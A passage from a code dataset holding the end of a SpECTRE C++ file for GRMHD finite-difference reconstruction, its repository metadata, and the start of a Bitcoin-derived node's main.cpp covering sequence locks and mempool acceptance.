++i) {\n          gsl::at(upper_face_vars, i) = gsl::make_span(\n              get<tag>(gsl::at(*vars_on_upper_face, i))[0].data(),\n              number_of_variables * reconstructed_num_pts);\n          gsl::at(lower_face_vars, i) = gsl::make_span(\n              get<tag>(gsl::at(*vars_on_lower_face, i))[0].data(),\n              number_of_variables * reconstructed_num_pts);\n        }\n\n        DirectionMap<3, gsl::span<const double>> ghost_cell_vars{};\n        for (const auto& direction : Direction<3>::all_directions()) {\n          const auto& neighbors_in_direction =\n              element.neighbors().at(direction);\n          ASSERT(neighbors_in_direction.size() == 1,\n                 \"Currently only support one neighbor in each direction, but \"\n                 \"got \"\n                     << neighbors_in_direction.size() << \" in direction \"\n                     << direction);\n          ghost_cell_vars[direction] = gsl::make_span(\n              &neighbor_data.at(std::pair{\n                  direction,\n                  *neighbors_in_direction\n                       .begin()})[vars_in_neighbor_count * neighbor_num_pts],\n              number_of_variables * neighbor_num_pts);\n        }\n\n        spacetime_reconstructor(make_not_null(&upper_face_vars),\n                                make_not_null(&lower_face_vars), volume_vars,\n                                ghost_cell_vars, subcell_mesh.extents(),\n                                number_of_variables);\n\n        vars_in_neighbor_count += number_of_variables;\n      });\n\n  for (size_t i = 0; i < 3; ++i) {\n    if constexpr (tmpl::size<SpacetimeTagsToReconstruct>::value != 0) {\n      spacetime_vars_for_grmhd(make_not_null(&gsl::at(*vars_on_lower_face, i)));\n      spacetime_vars_for_grmhd(make_not_null(&gsl::at(*vars_on_upper_face, i)));\n    }\n\n    ValenciaDivClean::fd::compute_conservatives_for_reconstruction(\n        make_not_null(&gsl::at(*vars_on_lower_face, i)), eos);\n    ValenciaDivClean::fd::compute_conservatives_for_reconstruction(\n        make_not_null(&gsl::at(*vars_on_upper_face, i)), eos);\n  }\n}\n\ntemplate <\n    typename TagsList, typename PrimsTags, size_t ThermodynamicDim,\n    typename LowerHydroReconstructor, typename LowerSpacetimeReconstructor,\n    typename UpperHydroReconstructor, typename UpperSpacetimeReconstructor,\n    typename ComputeGrmhdSpacetimeVarsFromReconstructedSpacetimeTags>\nvoid reconstruct_fd_neighbor_work(\n    const gsl::not_null<Variables<TagsList>*> vars_on_face,\n    const LowerHydroReconstructor& reconstruct_lower_neighbor_hydro,\n    const LowerSpacetimeReconstructor& reconstruct_lower_neighbor_spacetime,\n    const UpperHydroReconstructor& reconstruct_upper_neighbor_hydro,\n    const UpperSpacetimeReconstructor& reconstruct_upper_neighbor_spacetime,\n    const ComputeGrmhdSpacetimeVarsFromReconstructedSpacetimeTags&\n        spacetime_vars_for_grmhd,\n    const Variables<PrimsTags>& subcell_volume_prims,\n    const Variables<tmpl::list<\n        gr::Tags::SpacetimeMetric<3>, GeneralizedHarmonic::Tags::Phi<3>,\n        GeneralizedHarmonic::Tags::Pi<3>>>& subcell_volume_spacetime_vars,\n    const EquationsOfState::EquationOfState<true, ThermodynamicDim>& eos,\n    const Element<3>& element,\n    const FixedHashMap<\n        maximum_number_of_neighbors(3) + 1,\n        std::pair<Direction<3>, ElementId<3>>, std::vector<double>,\n        boost::hash<std::pair<Direction<3>, ElementId<3>>>>& neighbor_data,\n    const Mesh<3>& subcell_mesh, const Direction<3>& direction_to_reconstruct,\n    const size_t ghost_zone_size) {\n  using prim_tags_for_reconstruction =\n      tmpl::list<hydro::Tags::RestMassDensity<DataVector>,\n                 hydro::Tags::Pressure<DataVector>,\n                 hydro::Tags::LorentzFactorTimesSpatialVelocity<DataVector, 3>,\n                 hydro::Tags::MagneticField<DataVector, 3>,\n                 hydro::Tags::DivergenceCleaningField<DataVector>>;\n  using spacetime_tags = tmpl::list<gr::Tags::SpacetimeMetric<3>,\n                                    GeneralizedHarmonic::Tags::Phi<3>,\n                                    GeneralizedHarmonic::Tags::Pi<3>>;\n\n  const std::pair mortar_id{\n      direction_to_reconstruct,\n      *element.neighbors().at(direction_to_reconstruct).begin()};\n  Index<3> ghost_data_extents = subcell_mesh.extents();\n  ghost_data_extents[direction_to_reconstruct.dimension()] = ghost_zone_size;\n  Variables<tmpl::append<prim_tags_for_reconstruction, spacetime_tags>>\n      neighbor_prims{ghost_data_extents.product()};\n  {\n    ASSERT(neighbor_data.contains(mortar_id),\n           \"The neighbor data does not contain the mortar: (\"\n               << mortar_id.first << ',' << mortar_id.second << \")\");\n    const auto& neighbor_data_on_mortar = neighbor_data.at(mortar_id);\n    std::copy(neighbor_data_on_mortar.begin(),\n              std::next(neighbor_data_on_mortar.begin(),\n                        static_cast<std::ptrdiff_t>(\n                            neighbor_prims.number_of_independent_components *\n                            ghost_data_extents.product())),\n              neighbor_prims.data());\n  }\n\n  tmpl::for_each<prim_tags_for_reconstruction>(\n      [&direction_to_reconstruct, &ghost_data_extents, &neighbor_prims,\n       &reconstruct_lower_neighbor_hydro, &reconstruct_upper_neighbor_hydro,\n       &subcell_mesh, &subcell_volume_prims, &vars_on_face](auto tag_v) {\n        using tag = tmpl::type_from<decltype(tag_v)>;\n        const typename tag::type* volume_tensor_ptr = nullptr;\n        typename tag::type volume_tensor{};\n        if constexpr (std::is_same_v<\n                          tag, hydro::Tags::LorentzFactorTimesSpatialVelocity<\n                                   DataVector, 3>>) {\n          // we need to handle the Wv^i reconstruction separately since we need\n          // to first compute Wv^i in the volume (it's not one of our primitives\n          // from the recovery). The components need to be stored contiguously,\n          // which is why we have the Variables `lorentz_factor_times_v_I`\n          const auto& spatial_velocity =\n              get<hydro::Tags::SpatialVelocity<DataVector, 3>>(\n                  subcell_volume_prims);\n          const auto& lorentz_factor =\n              get<hydro::Tags::LorentzFactor<DataVector>>(subcell_volume_prims);\n          volume_tensor = spatial_velocity;\n          for (size_t i = 0; i < 3; ++i) {\n            volume_tensor.get(i) *= get(lorentz_factor);\n          }\n          volume_tensor_ptr = &volume_tensor;\n        } else {\n          volume_tensor_ptr = &get<tag>(subcell_volume_prims);\n        }\n\n        const auto& tensor_neighbor = get<tag>(neighbor_prims);\n        auto& tensor_on_face = get<tag>(*vars_on_face);\n        if (direction_to_reconstruct.side() == Side::Upper) {\n          for (size_t tensor_index = 0; tensor_index < tensor_on_face.size();\n               ++tensor_index) {\n            reconstruct_upper_neighbor_hydro(\n                make_not_null(&tensor_on_face[tensor_index]),\n                (*volume_tensor_ptr)[tensor_index],\n                tensor_neighbor[tensor_index], subcell_mesh.extents(),\n                ghost_data_extents, direction_to_reconstruct);\n          }\n        } else {\n          for (size_t tensor_index = 0; tensor_index < tensor_on_face.size();\n               ++tensor_index) {\n            reconstruct_lower_neighbor_hydro(\n                make_not_null(&tensor_on_face[tensor_index]),\n                (*volume_tensor_ptr)[tensor_index],\n                tensor_neighbor[tensor_index], subcell_mesh.extents(),\n                ghost_data_extents, direction_to_reconstruct);\n          }\n        }\n      });\n\n  tmpl::for_each<spacetime_tags>(\n      [&direction_to_reconstruct, &ghost_data_extents, &neighbor_prims,\n       &reconstruct_lower_neighbor_spacetime,\n       &reconstruct_upper_neighbor_spacetime, &subcell_mesh,\n       &subcell_volume_spacetime_vars, &vars_on_face](auto tag_v) {\n        using tag = tmpl::type_from<decltype(tag_v)>;\n        const typename tag::type volume_tensor =\n            get<tag>(subcell_volume_spacetime_vars);\n\n        const auto& tensor_neighbor = get<tag>(neighbor_prims);\n        auto& tensor_on_face = get<tag>(*vars_on_face);\n        if (direction_to_reconstruct.side() == Side::Upper) {\n          for (size_t tensor_index = 0; tensor_index < tensor_on_face.size();\n               ++tensor_index) {\n            reconstruct_upper_neighbor_spacetime(\n                make_not_null(&tensor_on_face[tensor_index]),\n                volume_tensor[tensor_index], tensor_neighbor[tensor_index],\n                subcell_mesh.extents(), ghost_data_extents,\n                direction_to_reconstruct);\n          }\n        } else {\n          for (size_t tensor_index = 0; tensor_index < tensor_on_face.size();\n               ++tensor_index) {\n            reconstruct_lower_neighbor_spacetime(\n                make_not_null(&tensor_on_face[tensor_index]),\n                volume_tensor[tensor_index], tensor_neighbor[tensor_index],\n                subcell_mesh.extents(), ghost_data_extents,\n                direction_to_reconstruct);\n          }\n        }\n      });\n\n  spacetime_vars_for_grmhd(vars_on_face);\n  ValenciaDivClean::fd::compute_conservatives_for_reconstruction(vars_on_face,\n                                                                 eos);\n}\n}  // namespace grmhd::GhValenciaDivClean::fd\n", "meta": {"hexsha": "9b630010bdacd1599101e9e1fcf5649109105a03", "size": 17475, "ext": "tpp", "lang": "C++", "max_stars_repo_path": "src/Evolution/Systems/GrMhd/GhValenciaDivClean/FiniteDifference/ReconstructWork.tpp", "max_stars_repo_name": "nilsvu/spectre", "max_stars_repo_head_hexsha": "1455b9a8d7e92db8ad600c66f54795c29c3052ee", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 117.0, "max_stars_repo_stars_event_min_datetime": "2017-04-08T22:52:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T07:23:36.000Z", "max_issues_repo_path": "src/Evolution/Systems/GrMhd/GhValenciaDivClean/FiniteDifference/ReconstructWork.tpp", "max_issues_repo_name": "nilsvu/spectre", "max_issues_repo_head_hexsha": "1455b9a8d7e92db8ad600c66f54795c29c3052ee", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3177.0, "max_issues_repo_issues_event_min_datetime": "2017-04-07T21:10:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T23:55:59.000Z", "max_forks_repo_path": "src/Evolution/Systems/GrMhd/GhValenciaDivClean/FiniteDifference/ReconstructWork.tpp", "max_forks_repo_name": "nilsvu/spectre", "max_forks_repo_head_hexsha": "1455b9a8d7e92db8ad600c66f54795c29c3052ee", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 85.0, "max_forks_repo_forks_event_min_datetime": "2017-04-07T19:36:13.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-01T10:21:00.000Z", "avg_line_length": 49.3644067797, "max_line_length": 88, "alphanum_fraction": 0.6549928469, "num_tokens": 3944, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.25982563222951205, "lm_q1q2_score": 0.13092773934207064}}
{"text": "// Copyright (c) 2009-2010 Satoshi Nakamoto\n// Copyright (c) 2009-2015 The Bitcoin Core developers\n// Distributed under the MIT software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n#include \"main.h\"\n\n#include \"addrman.h\"\n#include \"arith_uint256.h\"\n#include \"bignum.h\"\n#include \"networks/networktemplate.h\"\n#include \"checkqueue.h\"\n#include \"consensus/consensus.h\"\n#include \"consensus/merkle.h\"\n#include \"consensus/validation.h\"\n#include \"crypto/hash.h\"\n#include \"init.h\"\n#include \"merkleblock.h\"\n#include \"net.h\"\n#include \"networks/netman.h\"\n#include \"policy/policy.h\"\n#include \"pow.h\"\n#include \"script/script.h\"\n#include \"script/sigcache.h\"\n#include \"script/standard.h\"\n#include \"tinyformat.h\"\n#include \"txdb.h\"\n#include \"txmempool.h\"\n#include \"ui_interface.h\"\n#include \"undo.h\"\n#include \"util/util.h\"\n#include \"args.h\"\n#include \"util/utilmoneystr.h\"\n#include \"util/utilstrencodings.h\"\n#include \"validationinterface.h\"\n#include \"versionbits.h\"\n#include \"processblock.h\"\n#include \"processheader.h\"\n#include \"random.h\"\n#include \"kernel.h\"\n#include \"chain/chain.h\"\n#include \"chain/checkpoints.h\"\n#include \"processtx.h\"\n\n#include <random>\n#include <sstream>\n#include <random>\n#include <boost/random/mersenne_twister.hpp>\n#include <boost/random/uniform_int_distribution.hpp>\n#include <boost/algorithm/string/replace.hpp>\n#include <boost/filesystem.hpp>\n#include <boost/filesystem/fstream.hpp>\n#include <boost/math/distributions/poisson.hpp>\n#include <boost/thread.hpp>\n#include <boost/foreach.hpp>\n\n/**\n * Global state\n */\n\nCCriticalSection cs_main;\n\n\nint64_t nTimeBestReceived = 0;\n\n\nCWaitableCriticalSection csBestBlock;\nCConditionVariable cvBlockChange;\nint nScriptCheckThreads = 0;\nbool fImporting = false;\nbool fReindex = false;\nbool fIsBareMultisigStd = DEFAULT_PERMIT_BAREMULTISIG;\nbool fRequireStandard = true;\nunsigned int nBytesPerSigOp = DEFAULT_BYTES_PER_SIGOP;\nbool fCheckBlockIndex = false;\nbool fCheckpointsEnabled = DEFAULT_CHECKPOINTS_ENABLED;\nsize_t nCoinCacheUsage = 5000 * 300;\nbool fAlerts = DEFAULT_ALERTS;\nbool fEnableReplacement = DEFAULT_ENABLE_REPLACEMENT;\n\n/** Fees smaller than this (in satoshi) are considered zero fee (for relaying, mining and transaction creation) */\nCFeeRate minRelayTxFee = CFeeRate(DEFAULT_MIN_RELAY_TX_FEE);\n\nCTxMemPool mempool(::minRelayTxFee);\n\n\nstd::map<uint256, COrphanTx> mapOrphanTransactions GUARDED_BY(cs_main);;\nstd::map<uint256, std::set<uint256> > mapOrphanTransactionsByPrev GUARDED_BY(cs_main);;\nvoid EraseOrphansFor(NodeId peer) EXCLUSIVE_LOCKS_REQUIRED(cs_main);\n\n\n/**\n * Returns true if there are nRequired or more blocks of minVersion or above\n * in the last Consensus::Params::nMajorityWindow blocks, starting at pstart and going backwards.\n */\nbool IsSuperMajority(int minVersion, const CBlockIndex* pstart, unsigned nRequired, const Consensus::Params& consensusParams);\n\n/** Constant stuff for coinbase transactions we create: */\nCScript COINBASE_FLAGS;\n\nconst std::string strMessageMagic = \"ECC Signed Message:\\n\";\n\n\nCBlockIndex *pindexBestInvalid;\n\n    /**\n     * The set of all CBlockIndex entries with BLOCK_VALID_TRANSACTIONS (for itself and all ancestors) and\n     * as good as our current tip or better. Entries may be failed, though, and pruning nodes may be\n     * missing the data for the block.\n     */\nstd::set<CBlockIndex*, CBlockIndexWorkComparator> setBlockIndexCandidates;\n\n    /** Number of nodes with fSyncStarted. */\nint nSyncStarted = 0;\n\n    /** All pairs A->B, where A (or one of its ancestors) misses transactions, but B has transactions.\n     * Pruned nodes may have entries where B is missing data.\n     */\nstd::multimap<CBlockIndex*, CBlockIndex*> mapBlocksUnlinked;\n\nCCriticalSection cs_LastBlockFile;\nstd::vector<CBlockFileInfo> vinfoBlockFile;\nint nLastBlockFile = 0;\n\n    /**\n     * Every received block is assigned a unique and increasing identifier, so we\n     * know which one to give priority in case of a fork.\n     */\nCCriticalSection cs_nBlockSequenceId;\n\n    /** Blocks loaded from disk are assigned id 0, so start the counter at 1. */\nuint32_t nBlockSequenceId = 1;\n\n    /**\n     * Sources of received blocks, saved to be able to send them reject\n     * messages or ban them when processing happens afterwards. Protected by\n     * cs_main.\n     */\nstd::map<uint256, NodeId> mapBlockSource;\n\nstd::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> > mapBlocksInFlight;\n\n/** Number of preferable block download peers. */\nint nPreferredDownload = 0;\n\n/** Dirty block index entries. */\nstd::set<CBlockIndex*> setDirtyBlockIndex;\n\n/** Dirty block file entries. */\nstd::set<int> setDirtyFileInfo;\n\n/** Number of peers from which we're downloading blocks. */\nint nPeersWithValidatedDownloads = 0;\n\n//////////////////////////////////////////////////////////////////////////////\n//\n// Registration of network node signals.\n//\n\n\n/** std::map maintaining per-node state. Requires cs_main. */\nstd::map<NodeId, CNodeState> mapNodeState;\n\n// Requires cs_main.\nCNodeState *State(NodeId pnode) {\n    std::map<NodeId, CNodeState>::iterator it = mapNodeState.find(pnode);\n    if (it == mapNodeState.end())\n        return NULL;\n    return &it->second;\n}\n\nint GetHeight()\n{\n    LOCK(cs_main);\n    return pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Height();\n}\n\nvoid InitializeNode(NodeId nodeid, const CNode *pnode)\n{\n    LOCK(cs_main);\n    CNodeState &state = mapNodeState.insert(std::make_pair(nodeid, CNodeState())).first->second;\n    state.name = pnode->addrName;\n    state.address = pnode->addr;\n}\n\nvoid FinalizeNode(NodeId nodeid)\n{\n    LOCK(cs_main);\n    CNodeState *state = State(nodeid);\n\n    if (state->fSyncStarted)\n        nSyncStarted--;\n\n    if (state->nMisbehavior == 0 && state->fCurrentlyConnected) {\n        AddressCurrentlyConnected(state->address);\n    }\n\n    for (auto const& entry: state->vBlocksInFlight) {\n        mapBlocksInFlight.erase(entry.hash);\n    }\n    EraseOrphansFor(nodeid);\n    nPreferredDownload -= state->fPreferredDownload;\n    nPeersWithValidatedDownloads -= (state->nBlocksInFlightValidHeaders != 0);\n    assert(nPeersWithValidatedDownloads >= 0);\n\n    mapNodeState.erase(nodeid);\n\n    if (mapNodeState.empty()) {\n        // Do a consistency check after the last peer is removed.\n        assert(mapBlocksInFlight.empty());\n        assert(nPreferredDownload == 0);\n        assert(nPeersWithValidatedDownloads == 0);\n    }\n}\n\n\nbool GetNodeStateStats(NodeId nodeid, CNodeStateStats &stats) {\n    LOCK(cs_main);\n    CNodeState *state = State(nodeid);\n    if (state == NULL)\n        return false;\n    stats.nMisbehavior = state->nMisbehavior;\n    stats.nSyncHeight = state->pindexBestKnownBlock ? state->pindexBestKnownBlock->nHeight : -1;\n    stats.nCommonHeight = state->pindexLastCommonBlock ? state->pindexLastCommonBlock->nHeight : -1;\n    for (auto const& queue: state->vBlocksInFlight) {\n        if (queue.pindex)\n            stats.vHeightInFlight.push_back(queue.pindex->nHeight);\n    }\n    return true;\n}\n\n//////////////////////////////////////////////////////////////////////////////\n//\n// mapOrphanTransactions\n//\n\nbool IsFinalTx(const CTransaction &tx, int nBlockHeight, int64_t nBlockTime)\n{\n    if (tx.nLockTime == 0)\n        return true;\n    if ((int64_t)tx.nLockTime < ((int64_t)tx.nLockTime < LOCKTIME_THRESHOLD ? (int64_t)nBlockHeight : nBlockTime))\n        return true;\n    for (auto const& txin: tx.vin) {\n        if (!(txin.nSequence == CTxIn::SEQUENCE_FINAL))\n            return false;\n    }\n    return true;\n}\n\nbool CheckFinalTx(const CTransaction &tx, int flags)\n{\n    AssertLockHeld(cs_main);\n\n    // By convention a negative value for flags indicates that the\n    // current network-enforced consensus rules should be used. In\n    // a future soft-fork scenario that would mean checking which\n    // rules would be enforced for the next block and setting the\n    // appropriate flags. At the present time no soft-forks are\n    // scheduled, so no flags are set.\n    flags = std::max(flags, 0);\n\n    // CheckFinalTx() uses chainActive.Height()+1 to evaluate\n    // nLockTime because when IsFinalTx() is called within\n    // CBlock::AcceptBlock(), the height of the block *being*\n    // evaluated is what is used. Thus if we want to know if a\n    // transaction can be part of the *next* block, we need to call\n    // IsFinalTx() with one more than chainActive.Height().\n    const int nBlockHeight = pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Height() + 1;\n\n    // BIP113 will require that time-locked transactions have nLockTime set to\n    // less than the median time of the previous block they're contained in.\n    // When the next block is created its previous block will be the current\n    // chain tip, so we use that to calculate the median time passed to\n    // IsFinalTx() if LOCKTIME_MEDIAN_TIME_PAST is set.\n    const int64_t nBlockTime = (flags & LOCKTIME_MEDIAN_TIME_PAST)\n                             ? pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip()->GetMedianTimePast()\n                             : GetAdjustedTime();\n\n    return IsFinalTx(tx, nBlockHeight, nBlockTime);\n}\n\n/**\n * Calculates the block height and previous block's median time past at\n * which the transaction will be considered final in the context of BIP 68.\n * Also removes from the vector of input heights any entries which did not\n * correspond to sequence locked inputs as they do not affect the calculation.\n */\nstatic std::pair<int, int64_t> CalculateSequenceLocks(const CTransaction &tx, int flags, std::vector<int>* prevHeights, const CBlockIndex& block)\n{\n    assert(prevHeights->size() == tx.vin.size());\n\n    // Will be set to the equivalent height- and time-based nLockTime\n    // values that would be necessary to satisfy all relative lock-\n    // time constraints given our view of block chain history.\n    // The semantics of nLockTime are the last invalid height/time, so\n    // use -1 to have the effect of any height or time being valid.\n    int nMinHeight = -1;\n    int64_t nMinTime = -1;\n\n    // tx.nVersion is signed integer so requires cast to unsigned otherwise\n    // we would be doing a signed comparison and half the range of nVersion\n    // wouldn't support BIP 68.\n    bool fEnforceBIP68 = static_cast<uint32_t>(tx.nVersion) >= 2\n                      && flags & LOCKTIME_VERIFY_SEQUENCE;\n\n    // Do not enforce sequence numbers as a relative lock time\n    // unless we have been instructed to\n    if (!fEnforceBIP68) {\n        return std::make_pair(nMinHeight, nMinTime);\n    }\n\n    for (size_t txinIndex = 0; txinIndex < tx.vin.size(); txinIndex++) {\n        const CTxIn& txin = tx.vin[txinIndex];\n\n        // Sequence numbers with the most significant bit set are not\n        // treated as relative lock-times, nor are they given any\n        // consensus-enforced meaning at this point.\n        if (txin.nSequence & CTxIn::SEQUENCE_LOCKTIME_DISABLE_FLAG) {\n            // The height of this input is not relevant for sequence locks\n            (*prevHeights)[txinIndex] = 0;\n            continue;\n        }\n\n        int nCoinHeight = (*prevHeights)[txinIndex];\n\n        if (txin.nSequence & CTxIn::SEQUENCE_LOCKTIME_TYPE_FLAG) {\n            int64_t nCoinTime = block.GetAncestor(std::max(nCoinHeight-1, 0))->GetMedianTimePast();\n            // NOTE: Subtract 1 to maintain nLockTime semantics\n            // BIP 68 relative lock times have the semantics of calculating\n            // the first block or time at which the transaction would be\n            // valid. When calculating the effective block time or height\n            // for the entire transaction, we switch to using the\n            // semantics of nLockTime which is the last invalid block\n            // time or height.  Thus we subtract 1 from the calculated\n            // time or height.\n\n            // Time-based relative lock-times are measured from the\n            // smallest allowed timestamp of the block containing the\n            // txout being spent, which is the median time past of the\n            // block prior.\n            nMinTime = std::max(nMinTime, nCoinTime + (int64_t)((txin.nSequence & CTxIn::SEQUENCE_LOCKTIME_MASK) << CTxIn::SEQUENCE_LOCKTIME_GRANULARITY) - 1);\n        } else {\n            nMinHeight = std::max(nMinHeight, nCoinHeight + (int)(txin.nSequence & CTxIn::SEQUENCE_LOCKTIME_MASK) - 1);\n        }\n    }\n\n    return std::make_pair(nMinHeight, nMinTime);\n}\n\nstatic bool EvaluateSequenceLocks(const CBlockIndex& block, std::pair<int, int64_t> lockPair)\n{\n    assert(block.pprev);\n    int64_t nBlockTime = block.pprev->GetMedianTimePast();\n    if (lockPair.first >= block.nHeight || lockPair.second >= nBlockTime)\n        return false;\n\n    return true;\n}\n\nbool SequenceLocks(const CTransaction &tx, int flags, std::vector<int>* prevHeights, const CBlockIndex& block)\n{\n    return EvaluateSequenceLocks(block, CalculateSequenceLocks(tx, flags, prevHeights, block));\n}\n\nbool TestLockPointValidity(const LockPoints* lp)\n{\n    AssertLockHeld(cs_main);\n    assert(lp);\n    // If there are relative lock times then the maxInputBlock will be set\n    // If there are no relative lock times, the LockPoints don't depend on the chain\n    if (lp->maxInputBlock) {\n        // Check whether chainActive is an extension of the block at which the LockPoints\n        // calculation was valid.  If not LockPoints are no longer valid\n        if (!pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Contains(lp->maxInputBlock)) {\n            return false;\n        }\n    }\n\n    // LockPoints still valid\n    return true;\n}\n\nbool CheckSequenceLocks(const CTransaction &tx, int flags, LockPoints* lp, bool useExistingLockPoints)\n{\n    AssertLockHeld(cs_main);\n    AssertLockHeld(mempool.cs);\n\n    CBlockIndex* tip = pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip();\n    CBlockIndex index;\n    index.pprev = tip;\n    // CheckSequenceLocks() uses chainActive.Height()+1 to evaluate\n    // height based locks because when SequenceLocks() is called within\n    // ConnectBlock(), the height of the block *being*\n    // evaluated is what is used.\n    // Thus if we want to know if a transaction can be part of the\n    // *next* block, we need to use one more than chainActive.Height()\n    index.nHeight = tip->nHeight + 1;\n\n    std::pair<int, int64_t> lockPair;\n    if (useExistingLockPoints) {\n        assert(lp);\n        lockPair.first = lp->height;\n        lockPair.second = lp->time;\n    }\n    else {\n        // pcoinsTip contains the UTXO set for chainActive.Tip()\n        CCoinsViewMemPool viewMemPool(pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip.get(), mempool);\n        std::vector<int> prevheights;\n        prevheights.resize(tx.vin.size());\n        for (size_t txinIndex = 0; txinIndex < tx.vin.size(); txinIndex++) {\n            const CTxIn& txin = tx.vin[txinIndex];\n            CCoins coins;\n            if (!viewMemPool.GetCoins(txin.prevout.hash, coins)) {\n                return error(\"%s: Missing input\", __func__);\n            }\n            if (coins.nHeight == MEMPOOL_HEIGHT) {\n                // Assume all mempool transaction confirm in the next block\n                prevheights[txinIndex] = tip->nHeight + 1;\n            } else {\n                prevheights[txinIndex] = coins.nHeight;\n            }\n        }\n        lockPair = CalculateSequenceLocks(tx, flags, &prevheights, index);\n        if (lp) {\n            lp->height = lockPair.first;\n            lp->time = lockPair.second;\n            // Also store the hash of the block with the highest height of\n            // all the blocks which have sequence locked prevouts.\n            // This hash needs to still be on the chain\n            // for these LockPoint calculations to be valid\n            // Note: It is impossible to correctly calculate a maxInputBlock\n            // if any of the sequence locked inputs depend on unconfirmed txs,\n            // except in the special case where the relative lock time/height\n            // is 0, which is equivalent to no sequence lock. Since we assume\n            // input height of tip+1 for mempool txs and test the resulting\n            // lockPair from CalculateSequenceLocks against tip+1.  We know\n            // EvaluateSequenceLocks will fail if there was a non-zero sequence\n            // lock on a mempool input, so we can use the return value of\n            // CheckSequenceLocks to indicate the LockPoints validity\n            int maxInputHeight = 0;\n            for (auto height: prevheights) {\n                // Can ignore mempool inputs since we'll fail if they had non-zero locks\n                if (height != tip->nHeight+1) {\n                    maxInputHeight = std::max(maxInputHeight, height);\n                }\n            }\n            lp->maxInputBlock = tip->GetAncestor(maxInputHeight);\n        }\n    }\n    return EvaluateSequenceLocks(index, lockPair);\n}\n\n\nunsigned int GetLegacySigOpCount(const CTransaction& tx)\n{\n    unsigned int nSigOps = 0;\n    for (auto const& txin: tx.vin)\n    {\n        nSigOps += txin.scriptSig.GetSigOpCount(false);\n    }\n    for (auto const& txout: tx.vout)\n    {\n        nSigOps += txout.scriptPubKey.GetSigOpCount(false);\n    }\n    return nSigOps;\n}\n\nunsigned int GetP2SHSigOpCount(const CTransaction& tx, const CCoinsViewCache& inputs)\n{\n    if (tx.IsCoinBase())\n        return 0;\n\n    unsigned int nSigOps = 0;\n    for (unsigned int i = 0; i < tx.vin.size(); i++)\n    {\n        const CTxOut &prevout = inputs.GetOutputFor(tx.vin[i]);\n        if (prevout.scriptPubKey.IsPayToScriptHash())\n            nSigOps += prevout.scriptPubKey.GetSigOpCount(tx.vin[i].scriptSig);\n    }\n    return nSigOps;\n}\n\nvoid LimitMempoolSize(CTxMemPool& pool, size_t limit, unsigned long age)\n{\n    int expired = pool.Expire(GetTime() - age);\n    if (expired != 0)\n        LogPrint(\"mempool\", \"Expired %i transactions from the memory pool\\n\", expired);\n\n    std::vector<uint256> vNoSpendsRemaining;\n    pool.TrimToSize(limit, &vNoSpendsRemaining);\n    for(auto const& removed: vNoSpendsRemaining)\n        pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip->Uncache(removed);\n}\n\n/** Convert CValidationState to a human-readable message for logging */\nstd::string FormatStateMessage(const CValidationState &state)\n{\n    return strprintf(\"%s%s (code %i)\",\n        state.GetRejectReason(),\n        state.GetDebugMessage().empty() ? \"\" : \", \"+state.GetDebugMessage(),\n        state.GetRejectCode());\n}\n\nbool AcceptToMemoryPoolWorker(CTxMemPool& pool, CValidationState &state, const CTransaction &tx, bool fLimitFree,\n                              bool* pfMissingInputs, bool fOverrideMempoolLimit, bool fRejectAbsurdFee,\n                              std::vector<uint256>& vHashTxnToUncache)\n{\n    AssertLockHeld(cs_main);\n    if (pfMissingInputs)\n        *pfMissingInputs = false;\n\n    if (!CheckTransaction(tx, state))\n        return false;\n\n    // Coinbase is only valid in a block, not as a loose transaction\n    if (tx.IsCoinBase())\n        return state.DoS(100, false, REJECT_INVALID, \"coinbase\");\n\n    // Rather not work on nonstandard transactions (unless -testnet/-regtest)\n    std::string reason;\n    if (fRequireStandard && !IsStandardTx(tx, reason))\n        return state.DoS(0, false, REJECT_NONSTANDARD, reason);\n\n    // Only accept nLockTime-using transactions that can be mined in the next\n    // block; we don't want our mempool filled up with transactions that can't\n    // be mined yet.\n    if (!CheckFinalTx(tx, STANDARD_LOCKTIME_VERIFY_FLAGS))\n        return state.DoS(0, false, REJECT_NONSTANDARD, \"non-final\");\n\n    // is it already in the memory pool?\n    uint256 hash = tx.GetHash();\n    if (pool.exists(hash))\n        return state.Invalid(false, REJECT_ALREADY_KNOWN, \"txn-already-in-mempool\");\n\n    // Check for conflicts with in-memory transactions\n    std::set<uint256> setConflicts;\n    {\n    LOCK(pool.cs); // protect pool.mapNextTx\n    for (auto const& txin: tx.vin)\n    {\n        if (pool.mapNextTx.count(txin.prevout))\n        {\n            const CTransaction *ptxConflicting = pool.mapNextTx[txin.prevout].ptx;\n            if (!setConflicts.count(ptxConflicting->GetHash()))\n            {\n                // Allow opt-out of transaction replacement by setting\n                // nSequence >= maxint-1 on all inputs.\n                //\n                // maxint-1 is picked to still allow use of nLockTime by\n                // non-replacable transactions. All inputs rather than just one\n                // is for the sake of multi-party protocols, where we don't\n                // want a single party to be able to disable replacement.\n                //\n                // The opt-out ignores descendants as anyone relying on\n                // first-seen mempool behavior should be checking all\n                // unconfirmed ancestors anyway; doing otherwise is hopelessly\n                // insecure.\n                bool fReplacementOptOut = true;\n                if (fEnableReplacement)\n                {\n                    for (auto const& txin: ptxConflicting->vin)\n                    {\n                        if (txin.nSequence < std::numeric_limits<unsigned int>::max()-1)\n                        {\n                            fReplacementOptOut = false;\n                            break;\n                        }\n                    }\n                }\n                if (fReplacementOptOut)\n                    return state.Invalid(false, REJECT_CONFLICT, \"txn-mempool-conflict\");\n\n                setConflicts.insert(ptxConflicting->GetHash());\n            }\n        }\n    }\n    }\n\n    {\n        CCoinsView dummy;\n        CCoinsViewCache view(&dummy);\n\n        CAmount nValueIn = 0;\n        LockPoints lp;\n        {\n        LOCK(pool.cs);\n        CCoinsViewMemPool 